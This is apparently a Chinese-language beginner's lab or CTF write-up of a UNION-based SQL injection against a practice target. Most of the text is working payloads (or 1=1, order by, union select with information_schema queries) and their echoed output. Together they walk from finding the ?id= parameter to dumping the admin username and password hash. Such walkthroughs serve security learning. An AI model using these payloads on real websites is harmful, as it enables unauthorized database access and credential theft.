注入流程
0、寻找输入点
看到靶机上面的按钮全部点一下,观察url,发现诸如”?id=……”的大概率就是注入点。
当然稍微有点防护等级的网站都不会让你这么容易地找到注入点
按f12,点开网络以监测请求:
点击测试新闻1的时候:出现了一个get请求:
将get请求复制,放入到hackbar中:
接下来的命令在输上去后点execute就可以了
1、判断注入类型:
?id=1 or 1=1 或者 ?id=1’ or ‘1’=’1
此处我输入(输入位置就在get’请求后面,看下面的图)
1 | ?id=1 or 1=1 |
出现上面的
title | “测试新闻1” |
---|---|
content | “哈哈哈哈” |
表示数据库回显信息了,说明可以注入
2、判断列数:?id=1 order by 1…….
这个命令需要一个一个试,直到没反应为止:
1 | ?id=1 order by 1 |
这道题试到3就没反应了,说明数据库有2个列
3、判断注入信息:?id=-1 union select 1……..
根据上面得出的结果2,需要注入2个数字来标记在哪里可以注入
1 | ?id=-1 union select 1,4 |
此处的1和4只是两个数字,用于标记位置,并非顺序
4、查看数据库:?id=-1 union select 1,database(
输入:
1 | ?id=-1 union select 1,database() |
回显
title | “3” |
content | “news” |
说明数据库名字叫news
5、查看表名:
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库名称’
输入
1 | ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news' |
回显:
title | “1” |
content | “admin,contents” |
说明有两个表:admin和contents
我们需要的是admin
6、查看列名:
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’表名’
输入
1 | ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' |
回显
title | “1” |
content | “id,username,password” |
发现有3个列:id,username,password
我们需要 username 和 password 这两个个列
7、查看字段:
模板:
1 | ?id=-1 union select 1,group_concat(列名) from 表名 |
此处我用到的为
输入
1 | ?id=-1 union select 1,group_concat(username) from admin |
回显得到有一个用户admin
title | “1” |
---|---|
content | “admin” |
输入
1 | ?id=-1 union select 1,group_concat(password) from admin |
数据库中存放着一个密码:
title | “1” |
---|---|
content | “6ede396decdae7a523cc84d5f2f3a4a1” |
大功告成!
俺也是个菜鸟,参考:https://blog.csdn.net/m0_58199719/article/details/124279958